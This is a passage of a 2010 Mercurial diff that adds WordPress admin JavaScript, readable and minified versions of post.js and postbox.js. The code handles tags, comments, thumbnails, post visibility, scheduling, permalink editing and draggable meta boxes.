    '); + $('a', r).click(function(){ + tagBox.flushTags( $(this).closest('.inside').children('.tagsdiv'), this); + return false; + }); + + $('#'+id).after(r); + }); + }, + + init : function() { + var t = this, ajaxtag = $('div.ajaxtag'); + + $('.tagsdiv').each( function() { + tagBox.quickClicks(this); + }); + + $('input.tagadd', ajaxtag).click(function(){ + t.flushTags( $(this).closest('.tagsdiv') ); + }); + + $('div.taghint', ajaxtag).click(function(){ + $(this).css('visibility', 'hidden').siblings('.newtag').focus(); + }); + + $('input.newtag', ajaxtag).blur(function() { + if ( this.value == '' ) + $(this).siblings('.taghint').css('visibility', ''); + }).focus(function(){ + $(this).siblings('.taghint').css('visibility', 'hidden'); + }).keyup(function(e){ + if ( 13 == e.which ) { + tagBox.flushTags( $(this).closest('.tagsdiv') ); + return false; + } + }).keypress(function(e){ + if ( 13 == e.which ) { + e.preventDefault(); + return false; + } + }).each(function(){ + var tax = $(this).closest('div.tagsdiv').attr('id'); + $(this).suggest( ajaxurl + '?action=ajax-tag-search&tax=' + tax, { delay: 500, minchars: 2, multiple: true, multipleSep: ", " } ); + }); + + // save tags on post save/publish + $('#post').submit(function(){ + $('div.tagsdiv').each( function() { + tagBox.flushTags(this, false, 1); + }); + }); + + // tag cloud + $('a.tagcloud-link').click(function(){ + tagBox.get( $(this).attr('id') ); + $(this).unbind().click(function(){ + $(this).siblings('.the-tagcloud').toggle(); + return false; + }); + return false; + }); + } +}; + +commentsBox = { + st : 0, + + get : function(total, num) { + var st = this.st, data; + if ( ! num ) + num = 20; + + this.st += num; + this.total = total; + $('#commentsdiv img.waiting').show(); + + data = { + 'action' : 'get-comments', + 'mode' : 'single', + '_ajax_nonce' : $('#add_comment_nonce').val(), + 'post_ID' : $('#post_ID').val(), + 'start' : st, + 'num' : num + }; + + $.post(ajaxurl, data, + function(r) { + r = wpAjax.parseAjaxResponse(r); + $('#commentsdiv .widefat').show(); + $('#commentsdiv img.waiting').hide(); + + if ( 'object' == typeof r && r.responses[0] ) { + $('#the-comment-list').append( r.responses[0].data ); + + theList = theExtraList = null; + $("a[className*=':']").unbind(); + setCommentsList(); + + if ( commentsBox.st > commentsBox.total ) + $('#show-comments').hide(); + else + $('#show-comments').html(postL10n.showcomm); + return; + } else if ( 1 == r ) { + $('#show-comments').parent().html(postL10n.endcomm); + return; + } + + $('#the-comment-list').append(''+wpAjax.broken+''); + } + ); + + return false; + } +}; + +WPSetThumbnailHTML = function(html){ + $('.inside', '#postimagediv').html(html); +}; + +WPSetThumbnailID = function(id){ + var field = $('input[value=_thumbnail_id]', '#list-table'); + if ( field.size() > 0 ) { + $('#meta\\[' + field.attr('id').match(/[0-9]+/) + '\\]\\[value\\]').text(id); + } +}; + +WPRemoveThumbnail = function(){ + $.post(ajaxurl, { + action:"set-post-thumbnail", post_id: $('#post_ID').val(), thumbnail_id: -1, cookie: encodeURIComponent(document.cookie) + }, function(str){ + if ( str == '0' ) { + alert( setPostThumbnailL10n.error ); + } else { + WPSetThumbnailHTML(str); + } + } + ); +}; + +})(jQuery); + +jQuery(document).ready( function($) { + var catAddAfter, stamp, visibility, sticky = '', post = 'post' == pagenow || 'post-new' == pagenow, page = 'page' == pagenow || 'page-new' == pagenow; + + // postboxes + if ( post ) + postboxes.add_postbox_toggles('post'); + else if ( page ) + postboxes.add_postbox_toggles('page'); + + // multi-taxonomies + if ( $('#tagsdiv-post_tag').length ) { + tagBox.init(); + } else { + $('#side-sortables, #normal-sortables, #advanced-sortables').children('div.postbox').each(function(){ + if ( this.id.indexOf('tagsdiv-') === 0 ) { + tagBox.init(); + return false; + } + }); + } + + // categories + if ( $('#categorydiv').length ) { + // TODO: move to jQuery 1.3+, support for multiple hierarchical taxonomies, see wp-lists.dev.js + $('a', '#category-tabs').click(function(){ + var t = $(this).attr('href'); + $(this).parent().addClass('tabs').siblings('li').removeClass('tabs'); + $('#category-tabs').siblings('.tabs-panel').hide(); + $(t).show(); + if ( '#categories-all' == t ) + deleteUserSetting('cats'); + else + setUserSetting('cats','pop'); + return false; + }); + if ( getUserSetting('cats') ) + $('a[href="#categories-pop"]', '#category-tabs').click(); + + // Ajax Cat + $('#newcat').one( 'focus', function() { $(this).val( '' ).removeClass( 'form-input-tip' ) } ); + $('#category-add-sumbit').click( function(){ $('#newcat').focus(); } ); + + catAddBefore = function( s ) { + if ( !$('#newcat').val() ) + return false; + s.data += '&' + $( ':checked', '#categorychecklist' ).serialize(); + return s; + }; + + catAddAfter = function( r, s ) { + var sup, drop = $('#newcat_parent'); + + if ( 'undefined' != s.parsed.responses[0] && (sup = s.parsed.responses[0].supplemental.newcat_parent) ) { + drop.before(sup); + drop.remove(); + } + }; + + $('#categorychecklist').wpList({ + alt: '', + response: 'category-ajax-response', + addBefore: catAddBefore, + addAfter: catAddAfter + }); + + $('#category-add-toggle').click( function() { + $('#category-adder').toggleClass( 'wp-hidden-children' ); + $('a[href="#categories-all"]', '#category-tabs').click(); + return false; + }); + + $('#categorychecklist').children('li.popular-category').add( $('#categorychecklist-pop').children() ).find(':checkbox').live( 'click', function(){ + var t = $(this), c = t.is(':checked'), id = t.val(); + $('#in-category-' + id + ', #in-popular-category-' + id).attr( 'checked', c ); + }); + + } // end cats + + // Custom Fields + if ( $('#postcustom').length ) { + $('#the-list').wpList( { addAfter: function( xml, s ) { + $('table#list-table').show(); + if ( typeof( autosave_update_post_ID ) != 'undefined' ) { + autosave_update_post_ID(s.parsed.responses[0].supplemental.postid); + } + }, addBefore: function( s ) { + s.data += '&post_id=' + $('#post_ID').val(); + return s; + } + }); + } + + // submitdiv + if ( $('#submitdiv').length ) { + stamp = $('#timestamp').html(); + visibility = $('#post-visibility-display').html(); + + function updateVisibility() { + var pvSelect = $('#post-visibility-select'); + if ( $('input:radio:checked', pvSelect).val() != 'public' ) { + $('#sticky').attr('checked', false); + $('#sticky-span').hide(); + } else { + $('#sticky-span').show(); + } + if ( $('input:radio:checked', pvSelect).val() != 'password' ) { + $('#password-span').hide(); + } else { + $('#password-span').show(); + } + } + + function updateText() { + var attemptedDate, originalDate, currentDate, publishOn, postStatus = $('#post_status'), + optPublish = $('option[value=publish]', postStatus), aa = $('#aa').val(), + mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val(); + + attemptedDate = new Date( aa, mm - 1, jj, hh, mn ); + originalDate = new Date( $('#hidden_aa').val(), $('#hidden_mm').val() -1, $('#hidden_jj').val(), $('#hidden_hh').val(), $('#hidden_mn').val() ); + currentDate = new Date( $('#cur_aa').val(), $('#cur_mm').val() -1, $('#cur_jj').val(), $('#cur_hh').val(), $('#cur_mn').val() ); + + if ( attemptedDate.getFullYear() != aa || (1 + attemptedDate.getMonth()) != mm || attemptedDate.getDate() != jj || attemptedDate.getMinutes() != mn ) { + $('.timestamp-wrap', '#timestampdiv').addClass('form-invalid'); + return false; + } else { + $('.timestamp-wrap', '#timestampdiv').removeClass('form-invalid'); + } + + if ( attemptedDate > currentDate && $('#original_post_status').val() != 'future' ) { + publishOn = postL10n.publishOnFuture; + $('#publish').val( postL10n.schedule ); + } else if ( attemptedDate <= currentDate && $('#original_post_status').val() != 'publish' ) { + publishOn = postL10n.publishOn; + $('#publish').val( postL10n.publish ); + } else { + publishOn = postL10n.publishOnPast; + if ( page ) + $('#publish').val( postL10n.updatePage ); + else + $('#publish').val( postL10n.updatePost ); + } + if ( originalDate.toUTCString() == attemptedDate.toUTCString() ) { //hack + $('#timestamp').html(stamp); + } else { + $('#timestamp').html( + publishOn + ' ' + + $('option[value=' + $('#mm').val() + ']', '#mm').text() + ' ' + + jj + ', ' + + aa + ' @ ' + + hh + ':' + + mn + ' ' + ); + } + + if ( $('input:radio:checked', '#post-visibility-select').val() == 'private' ) { + if ( page ) + $('#publish').val( postL10n.updatePage ); + else + $('#publish').val( postL10n.updatePost ); + if ( optPublish.length == 0 ) { + postStatus.append(''); + } else { + optPublish.html( postL10n.privatelyPublished ); + } + $('option[value=publish]', postStatus).attr('selected', true); + $('.edit-post-status', '#misc-publishing-actions').hide(); + } else { + if ( $('#original_post_status').val() == 'future' || $('#original_post_status').val() == 'draft' ) { + if ( optPublish.length ) { + optPublish.remove(); + postStatus.val($('#hidden_post_status').val()); + } + } else { + optPublish.html( postL10n.published ); + } + if ( postStatus.is(':hidden') ) + $('.edit-post-status', '#misc-publishing-actions').show(); + } + $('#post-status-display').html($('option:selected', postStatus).text()); + if ( $('option:selected', postStatus).val() == 'private' || $('option:selected', postStatus).val() == 'publish' ) { + $('#save-post').hide(); + } else { + $('#save-post').show(); + if ( $('option:selected', postStatus).val() == 'pending' ) { + $('#save-post').show().val( postL10n.savePending ); + } else { + $('#save-post').show().val( postL10n.saveDraft ); + } + } + return true; + } + + $('.edit-visibility', '#visibility').click(function () { + if ($('#post-visibility-select').is(":hidden")) { + updateVisibility(); + $('#post-visibility-select').slideDown("normal"); + $(this).hide(); + } + return false; + }); + + $('.cancel-post-visibility', '#post-visibility-select').click(function () { + $('#post-visibility-select').slideUp("normal"); + $('#visibility-radio-' + $('#hidden-post-visibility').val()).attr('checked', true); + $('#post_password').val($('#hidden_post_password').val()); + $('#sticky').attr('checked', $('#hidden-post-sticky').attr('checked')); + $('#post-visibility-display').html(visibility); + $('.edit-visibility', '#visibility').show(); + updateText(); + return false; + }); + + $('.save-post-visibility', '#post-visibility-select').click(function () { // crazyhorse - multiple ok cancels + var pvSelect = $('#post-visibility-select'); + + pvSelect.slideUp("normal"); + $('.edit-visibility', '#visibility').show(); + updateText(); + + if ( $('input:radio:checked', pvSelect).val() != 'public' ) { + $('#sticky').attr('checked', false); + } + + if ( true == $('#sticky').attr('checked') ) { + sticky = 'Sticky'; + } else { + sticky = ''; + } + + $('#post-visibility-display').html( postL10n[$('input:radio:checked', pvSelect).val() + sticky] ); + return false; + }); + + $('input:radio', '#post-visibility-select').change(function() { + updateVisibility(); + }); + + $('#timestampdiv').siblings('a.edit-timestamp').click(function() { + if ($('#timestampdiv').is(":hidden")) { + $('#timestampdiv').slideDown("normal"); + $(this).hide(); + } + return false; + }); + + $('.cancel-timestamp', '#timestampdiv').click(function() { + $('#timestampdiv').slideUp("normal"); + $('#mm').val($('#hidden_mm').val()); + $('#jj').val($('#hidden_jj').val()); + $('#aa').val($('#hidden_aa').val()); + $('#hh').val($('#hidden_hh').val()); + $('#mn').val($('#hidden_mn').val()); + $('#timestampdiv').siblings('a.edit-timestamp').show(); + updateText(); + return false; + }); + + $('.save-timestamp', '#timestampdiv').click(function () { // crazyhorse - multiple ok cancels + if ( updateText() ) { + $('#timestampdiv').slideUp("normal"); + $('#timestampdiv').siblings('a.edit-timestamp').show(); + } + return false; + }); + + $('#post-status-select').siblings('a.edit-post-status').click(function() { + if ($('#post-status-select').is(":hidden")) { + $('#post-status-select').slideDown("normal"); + $(this).hide(); + } + return false; + }); + + $('.save-post-status', '#post-status-select').click(function() { + $('#post-status-select').slideUp("normal"); + $('#post-status-select').siblings('a.edit-post-status').show(); + updateText(); + return false; + }); + + $('.cancel-post-status', '#post-status-select').click(function() { + $('#post-status-select').slideUp("normal"); + $('#post_status').val($('#hidden_post_status').val()); + $('#post-status-select').siblings('a.edit-post-status').show(); + updateText(); + return false; + }); + } // end submitdiv + + // permalink + if ( $('#edit-slug-box').length ) { + editPermalink = function(post_id) { + var i, c = 0, e = $('#editable-post-name'), revert_e = e.html(), real_slug = $('#post_name'), revert_slug = real_slug.html(), b = $('#edit-slug-buttons'), revert_b = b.html(), full = $('#editable-post-name-full').html(); + + $('#view-post-btn').hide(); + b.html(''+postL10n.ok+' '+postL10n.cancel+''); + b.children('.save').click(function() { + var new_slug = e.children('input').val(); + $.post(ajaxurl, { + action: 'sample-permalink', + post_id: post_id, + new_slug: new_slug, + new_title: $('#title').val(), + samplepermalinknonce: $('#samplepermalinknonce').val() + }, function(data) { + $('#edit-slug-box').html(data); + b.html(revert_b); + real_slug.attr('value', new_slug); + makeSlugeditClickable(); + $('#view-post-btn').show(); + }); + return false; + }); + + $('.cancel', '#edit-slug-buttons').click(function() { + $('#view-post-btn').show(); + e.html(revert_e); + b.html(revert_b); + real_slug.attr('value', revert_slug); + return false; + }); + + for ( i = 0; i < full.length; ++i ) { + if ( '%' == full.charAt(i) ) + c++; + } + + slug_value = ( c > full.length / 4 ) ? '' : full; + e.html('').children('input').keypress(function(e){ + var key = e.keyCode || 0; + // on enter, just save the new slug, don't save the post + if ( 13 == key ) { + b.children('.save').click(); + return false; + } + if ( 27 == key ) { + b.children('.cancel').click(); + return false; + } + real_slug.attr('value', this.value); + }).focus(); + } + + makeSlugeditClickable = function() { + $('#editable-post-name').click(function() { + $('#edit-slug-buttons').children('.edit-slug').click(); + }); + } + makeSlugeditClickable(); + } +}); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/post.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/post.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +var tagBox,commentsBox,editPermalink,makeSlugeditClickable,WPSetThumbnailHTML,WPSetThumbnailID,WPRemoveThumbnail;function array_unique_noempty(b){var c=[];jQuery.each(b,function(a,d){d=jQuery.trim(d);if(d&&jQuery.inArray(d,c)==-1){c.push(d)}});return c}(function(a){tagBox={clean:function(b){return b.replace(/\s*,\s*/g,",").replace(/,+/g,",").replace(/[,\s]+$/,"").replace(/^[,\s]+/,"")},parseTags:function(e){var h=e.id,b=h.split("-check-num-")[1],d=a(e).closest(".tagsdiv"),g=d.find(".the-tags"),c=g.val().split(","),f=[];delete c[b];a.each(c,function(i,j){j=a.trim(j);if(j){f.push(j)}});g.val(this.clean(f.join(",")));this.quickClicks(d);return false},quickClicks:function(c){var e=a(".the-tags",c),d=a(".tagchecklist",c),b;if(!e.length){return}b=e.val().split(",");d.empty();a.each(b,function(h,i){var f,g,j=a(c).attr("id");i=a.trim(i);if(!i.match(/^\s+$/)&&""!=i){g=j+"-check-num-"+h;f='X '+i+" ";d.append(f);a("#"+g).click(function(){tagBox.parseTags(this)})}})},flushTags:function(e,b,g){b=b||false;var i,c=a(".the-tags",e),h=a("input.newtag",e),d;i=b?a(b).text():h.val();tagsval=c.val();d=tagsval?tagsval+","+i:i;d=this.clean(d);d=array_unique_noempty(d.split(",")).join(",");c.val(d);this.quickClicks(e);if(!b){h.val("")}if("undefined"==typeof(g)){h.focus()}return false},get:function(c){var b=c.substr(c.indexOf("-")+1);a.post(ajaxurl,{action:"get-tagcloud",tax:b},function(e,d){if(0==e||"success"!=d){e=wpAjax.broken}e=a('

    '+e+"

    ");a("a",e).click(function(){tagBox.flushTags(a(this).closest(".inside").children(".tagsdiv"),this);return false});a("#"+c).after(e)})},init:function(){var b=this,c=a("div.ajaxtag");a(".tagsdiv").each(function(){tagBox.quickClicks(this)});a("input.tagadd",c).click(function(){b.flushTags(a(this).closest(".tagsdiv"))});a("div.taghint",c).click(function(){a(this).css("visibility","hidden").siblings(".newtag").focus()});a("input.newtag",c).blur(function(){if(this.value==""){a(this).siblings(".taghint").css("visibility","")}}).focus(function(){a(this).siblings(".taghint").css("visibility","hidden")}).keyup(function(d){if(13==d.which){tagBox.flushTags(a(this).closest(".tagsdiv"));return false}}).keypress(function(d){if(13==d.which){d.preventDefault();return false}}).each(function(){var d=a(this).closest("div.tagsdiv").attr("id");a(this).suggest(ajaxurl+"?action=ajax-tag-search&tax="+d,{delay:500,minchars:2,multiple:true,multipleSep:", "})});a("#post").submit(function(){a("div.tagsdiv").each(function(){tagBox.flushTags(this,false,1)})});a("a.tagcloud-link").click(function(){tagBox.get(a(this).attr("id"));a(this).unbind().click(function(){a(this).siblings(".the-tagcloud").toggle();return false});return false})}};commentsBox={st:0,get:function(d,c){var b=this.st,e;if(!c){c=20}this.st+=c;this.total=d;a("#commentsdiv img.waiting").show();e={action:"get-comments",mode:"single",_ajax_nonce:a("#add_comment_nonce").val(),post_ID:a("#post_ID").val(),start:b,num:c};a.post(ajaxurl,e,function(f){f=wpAjax.parseAjaxResponse(f);a("#commentsdiv .widefat").show();a("#commentsdiv img.waiting").hide();if("object"==typeof f&&f.responses[0]){a("#the-comment-list").append(f.responses[0].data);theList=theExtraList=null;a("a[className*=':']").unbind();setCommentsList();if(commentsBox.st>commentsBox.total){a("#show-comments").hide()}else{a("#show-comments").html(postL10n.showcomm)}return}else{if(1==f){a("#show-comments").parent().html(postL10n.endcomm);return}}a("#the-comment-list").append(''+wpAjax.broken+"")});return false}};WPSetThumbnailHTML=function(b){a(".inside","#postimagediv").html(b)};WPSetThumbnailID=function(c){var b=a("input[value=_thumbnail_id]","#list-table");if(b.size()>0){a("#meta\\["+b.attr("id").match(/[0-9]+/)+"\\]\\[value\\]").text(c)}};WPRemoveThumbnail=function(){a.post(ajaxurl,{action:"set-post-thumbnail",post_id:a("#post_ID").val(),thumbnail_id:-1,cookie:encodeURIComponent(document.cookie)},function(b){if(b=="0"){alert(setPostThumbnailL10n.error)}else{WPSetThumbnailHTML(b)}})}})(jQuery);jQuery(document).ready(function(f){var d,a,b,h="",i="post"==pagenow||"post-new"==pagenow,g="page"==pagenow||"page-new"==pagenow;if(i){postboxes.add_postbox_toggles("post")}else{if(g){postboxes.add_postbox_toggles("page")}}if(f("#tagsdiv-post_tag").length){tagBox.init()}else{f("#side-sortables, #normal-sortables, #advanced-sortables").children("div.postbox").each(function(){if(this.id.indexOf("tagsdiv-")===0){tagBox.init();return false}})}if(f("#categorydiv").length){f("a","#category-tabs").click(function(){var j=f(this).attr("href");f(this).parent().addClass("tabs").siblings("li").removeClass("tabs");f("#category-tabs").siblings(".tabs-panel").hide();f(j).show();if("#categories-all"==j){deleteUserSetting("cats")}else{setUserSetting("cats","pop")}return false});if(getUserSetting("cats")){f('a[href="#categories-pop"]',"#category-tabs").click()}f("#newcat").one("focus",function(){f(this).val("").removeClass("form-input-tip")});f("#category-add-sumbit").click(function(){f("#newcat").focus()});catAddBefore=function(j){if(!f("#newcat").val()){return false}j.data+="&"+f(":checked","#categorychecklist").serialize();return j};d=function(m,l){var k,j=f("#newcat_parent");if("undefined"!=l.parsed.responses[0]&&(k=l.parsed.responses[0].supplemental.newcat_parent)){j.before(k);j.remove()}};f("#categorychecklist").wpList({alt:"",response:"category-ajax-response",addBefore:catAddBefore,addAfter:d});f("#category-add-toggle").click(function(){f("#category-adder").toggleClass("wp-hidden-children");f('a[href="#categories-all"]',"#category-tabs").click();return false});f("#categorychecklist").children("li.popular-category").add(f("#categorychecklist-pop").children()).find(":checkbox").live("click",function(){var j=f(this),l=j.is(":checked"),k=j.val();f("#in-category-"+k+", #in-popular-category-"+k).attr("checked",l)})}if(f("#postcustom").length){f("#the-list").wpList({addAfter:function(j,k){f("table#list-table").show();if(typeof(autosave_update_post_ID)!="undefined"){autosave_update_post_ID(k.parsed.responses[0].supplemental.postid)}},addBefore:function(j){j.data+="&post_id="+f("#post_ID").val();return j}})}if(f("#submitdiv").length){a=f("#timestamp").html();b=f("#post-visibility-display").html();function e(){var j=f("#post-visibility-select");if(f("input:radio:checked",j).val()!="public"){f("#sticky").attr("checked",false);f("#sticky-span").hide()}else{f("#sticky-span").show()}if(f("input:radio:checked",j).val()!="password"){f("#password-span").hide()}else{f("#password-span").show()}}function c(){var q,r,k,t,s=f("#post_status"),l=f("option[value=publish]",s),j=f("#aa").val(),o=f("#mm").val(),p=f("#jj").val(),n=f("#hh").val(),m=f("#mn").val();q=new Date(j,o-1,p,n,m);r=new Date(f("#hidden_aa").val(),f("#hidden_mm").val()-1,f("#hidden_jj").val(),f("#hidden_hh").val(),f("#hidden_mn").val());k=new Date(f("#cur_aa").val(),f("#cur_mm").val()-1,f("#cur_jj").val(),f("#cur_hh").val(),f("#cur_mn").val());if(q.getFullYear()!=j||(1+q.getMonth())!=o||q.getDate()!=p||q.getMinutes()!=m){f(".timestamp-wrap","#timestampdiv").addClass("form-invalid");return false}else{f(".timestamp-wrap","#timestampdiv").removeClass("form-invalid")}if(q>k&&f("#original_post_status").val()!="future"){t=postL10n.publishOnFuture;f("#publish").val(postL10n.schedule)}else{if(q<=k&&f("#original_post_status").val()!="publish"){t=postL10n.publishOn;f("#publish").val(postL10n.publish)}else{t=postL10n.publishOnPast;if(g){f("#publish").val(postL10n.updatePage)}else{f("#publish").val(postL10n.updatePost)}}}if(r.toUTCString()==q.toUTCString()){f("#timestamp").html(a)}else{f("#timestamp").html(t+" "+f("option[value="+f("#mm").val()+"]","#mm").text()+" "+p+", "+j+" @ "+n+":"+m+" ")}if(f("input:radio:checked","#post-visibility-select").val()=="private"){if(g){f("#publish").val(postL10n.updatePage)}else{f("#publish").val(postL10n.updatePost)}if(l.length==0){s.append('")}else{l.html(postL10n.privatelyPublished)}f("option[value=publish]",s).attr("selected",true);f(".edit-post-status","#misc-publishing-actions").hide()}else{if(f("#original_post_status").val()=="future"||f("#original_post_status").val()=="draft"){if(l.length){l.remove();s.val(f("#hidden_post_status").val())}}else{l.html(postL10n.published)}if(s.is(":hidden")){f(".edit-post-status","#misc-publishing-actions").show()}}f("#post-status-display").html(f("option:selected",s).text());if(f("option:selected",s).val()=="private"||f("option:selected",s).val()=="publish"){f("#save-post").hide()}else{f("#save-post").show();if(f("option:selected",s).val()=="pending"){f("#save-post").show().val(postL10n.savePending)}else{f("#save-post").show().val(postL10n.saveDraft)}}return true}f(".edit-visibility","#visibility").click(function(){if(f("#post-visibility-select").is(":hidden")){e();f("#post-visibility-select").slideDown("normal");f(this).hide()}return false});f(".cancel-post-visibility","#post-visibility-select").click(function(){f("#post-visibility-select").slideUp("normal");f("#visibility-radio-"+f("#hidden-post-visibility").val()).attr("checked",true);f("#post_password").val(f("#hidden_post_password").val());f("#sticky").attr("checked",f("#hidden-post-sticky").attr("checked"));f("#post-visibility-display").html(b);f(".edit-visibility","#visibility").show();c();return false});f(".save-post-visibility","#post-visibility-select").click(function(){var j=f("#post-visibility-select");j.slideUp("normal");f(".edit-visibility","#visibility").show();c();if(f("input:radio:checked",j).val()!="public"){f("#sticky").attr("checked",false)}if(true==f("#sticky").attr("checked")){h="Sticky"}else{h=""}f("#post-visibility-display").html(postL10n[f("input:radio:checked",j).val()+h]);return false});f("input:radio","#post-visibility-select").change(function(){e()});f("#timestampdiv").siblings("a.edit-timestamp").click(function(){if(f("#timestampdiv").is(":hidden")){f("#timestampdiv").slideDown("normal");f(this).hide()}return false});f(".cancel-timestamp","#timestampdiv").click(function(){f("#timestampdiv").slideUp("normal");f("#mm").val(f("#hidden_mm").val());f("#jj").val(f("#hidden_jj").val());f("#aa").val(f("#hidden_aa").val());f("#hh").val(f("#hidden_hh").val());f("#mn").val(f("#hidden_mn").val());f("#timestampdiv").siblings("a.edit-timestamp").show();c();return false});f(".save-timestamp","#timestampdiv").click(function(){if(c()){f("#timestampdiv").slideUp("normal");f("#timestampdiv").siblings("a.edit-timestamp").show()}return false});f("#post-status-select").siblings("a.edit-post-status").click(function(){if(f("#post-status-select").is(":hidden")){f("#post-status-select").slideDown("normal");f(this).hide()}return false});f(".save-post-status","#post-status-select").click(function(){f("#post-status-select").slideUp("normal");f("#post-status-select").siblings("a.edit-post-status").show();c();return false});f(".cancel-post-status","#post-status-select").click(function(){f("#post-status-select").slideUp("normal");f("#post_status").val(f("#hidden_post_status").val());f("#post-status-select").siblings("a.edit-post-status").show();c();return false})}if(f("#edit-slug-box").length){editPermalink=function(j){var k,n=0,m=f("#editable-post-name"),o=m.html(),r=f("#post_name"),s=r.html(),p=f("#edit-slug-buttons"),q=p.html(),l=f("#editable-post-name-full").html();f("#view-post-btn").hide();p.html(''+postL10n.ok+' '+postL10n.cancel+"");p.children(".save").click(function(){var t=m.children("input").val();f.post(ajaxurl,{action:"sample-permalink",post_id:j,new_slug:t,new_title:f("#title").val(),samplepermalinknonce:f("#samplepermalinknonce").val()},function(u){f("#edit-slug-box").html(u);p.html(q);r.attr("value",t);makeSlugeditClickable();f("#view-post-btn").show()});return false});f(".cancel","#edit-slug-buttons").click(function(){f("#view-post-btn").show();m.html(o);p.html(q);r.attr("value",s);return false});for(k=0;kl.length/4)?"":l;m.html('').children("input").keypress(function(u){var t=u.keyCode||0;if(13==t){p.children(".save").click();return false}if(27==t){p.children(".cancel").click();return false}r.attr("value",this.value)}).focus()};makeSlugeditClickable=function(){f("#editable-post-name").click(function(){f("#edit-slug-buttons").children(".edit-slug").click()})};makeSlugeditClickable()}}); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/postbox.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/postbox.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,148 @@ +var postboxes; +(function($) { + postboxes = { + add_postbox_toggles : function(page,args) { + this.init(page,args); + $('.postbox h3, .postbox .handlediv').click( function() { + var p = $(this).parent('.postbox'), id = p.attr('id'); + p.toggleClass('closed'); + postboxes.save_state(page); + if ( id ) { + if ( !p.hasClass('closed') && $.isFunction(postboxes.pbshow) ) + postboxes.pbshow(id); + else if ( p.hasClass('closed') && $.isFunction(postboxes.pbhide) ) + postboxes.pbhide(id); + } + } ); + $('.postbox h3 a').click( function(e) { + e.stopPropagation(); + } ); + $('.hide-postbox-tog').click( function() { + var box = $(this).val(); + if ( $(this).attr('checked') ) { + $('#' + box).show(); + if ( $.isFunction( postboxes.pbshow ) ) + postboxes.pbshow( box ); + } else { + $('#' + box).hide(); + if ( $.isFunction( postboxes.pbhide ) ) + postboxes.pbhide( box ); + } + postboxes.save_state(page); + } ); + $('.columns-prefs input[type="radio"]').click(function(){ + var num = $(this).val(), i, el, p = $('#poststuff'); + + if ( p.length ) { // write pages + if ( num == 2 ) { + p.addClass('has-right-sidebar'); + $('#side-sortables').addClass('temp-border'); + } else if ( num == 1 ) { + p.removeClass('has-right-sidebar'); + $('#normal-sortables').append($('#side-sortables').children('.postbox')); + } + } else { // dashboard + for ( i = 4; ( i > num && i > 1 ); i-- ) { + el = $('#' + colname(i) + '-sortables'); + $('#' + colname(i-1) + '-sortables').append(el.children('.postbox')); + el.parent().hide(); + } + for ( i = 1; i <= num; i++ ) { + el = $('#' + colname(i) + '-sortables'); + if ( el.parent().is(':hidden') ) + el.addClass('temp-border').parent().show(); + } + $('.postbox-container:visible').css('width', 98/num + '%'); + } + postboxes.save_order(page); + }); + + function colname(n) { + switch (n) { + case 1: + return 'normal'; + break + case 2: + return 'side'; + break + case 3: + return 'column3'; + break + case 4: + return 'column4'; + break + default: + return ''; + } + } + }, + + init : function(page, args) { + $.extend( this, args || {} ); + $('#wpbody-content').css('overflow','hidden'); + $('.meta-box-sortables').sortable({ + placeholder: 'sortable-placeholder', + connectWith: '.meta-box-sortables', + items: '.postbox', + handle: '.hndle', + cursor: 'move', + distance: 2, + tolerance: 'pointer', + forcePlaceholderSize: true, + helper: 'clone', + opacity: 0.65, + start: function(e,ui) { + $('body').css({ + WebkitUserSelect: 'none', + KhtmlUserSelect: 'none' + }); + /* + if ( $.browser.msie ) + return; + ui.item.addClass('noclick'); + */ + }, + stop: function(e,ui) { + postboxes.save_order(page); + ui.item.parent().removeClass('temp-border'); + $('body').css({ + WebkitUserSelect: '', + KhtmlUserSelect: '' + }); + } + }); + }, + + save_state : function(page) { + var closed = $('.postbox').filter('.closed').map(function() { return this.id; }).get().join(','), + hidden = $('.postbox').filter(':hidden').map(function() { return this.id; }).get().join(','); + $.post(ajaxurl, { + action: 'closed-postboxes', + closed: closed, + hidden: hidden, + closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(), + page: page + }); + }, + + save_order : function(page) { + var postVars, page_columns = $('.columns-prefs input:checked').val() || 0; + postVars = { + action: 'meta-box-order', + _ajax_nonce: $('#meta-box-order-nonce').val(), + page_columns: page_columns, + page: page + } + $('.meta-box-sortables').each( function() { + postVars["order[" + this.id.split('-')[0] + "]"] = $(this).sortable( 'toArray' ).join(','); + } ); + $.post( ajaxurl, postVars ); + }, + + /* Callbacks */ + pbshow : false, + + pbhide : false + }; + +}(jQuery)); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/postbox.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/postbox.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +var postboxes;(function(a){postboxes={add_postbox_toggles:function(c,b){this.init(c,b);a(".postbox h3, .postbox .handlediv").click(function(){var e=a(this).parent(".postbox"),f=e.attr("id");e.toggleClass("closed");postboxes.save_state(c);if(f){if(!e.hasClass("closed")&&a.isFunction(postboxes.pbshow)){postboxes.pbshow(f)}else{if(e.hasClass("closed")&&a.isFunction(postboxes.pbhide)){postboxes.pbhide(f)}}}});a(".postbox h3 a").click(function(f){f.stopPropagation()});a(".hide-postbox-tog").click(function(){var e=a(this).val();if(a(this).attr("checked")){a("#"+e).show();if(a.isFunction(postboxes.pbshow)){postboxes.pbshow(e)}}else{a("#"+e).hide();if(a.isFunction(postboxes.pbhide)){postboxes.pbhide(e)}}postboxes.save_state(c)});a('.columns-prefs input[type="radio"]').click(function(){var 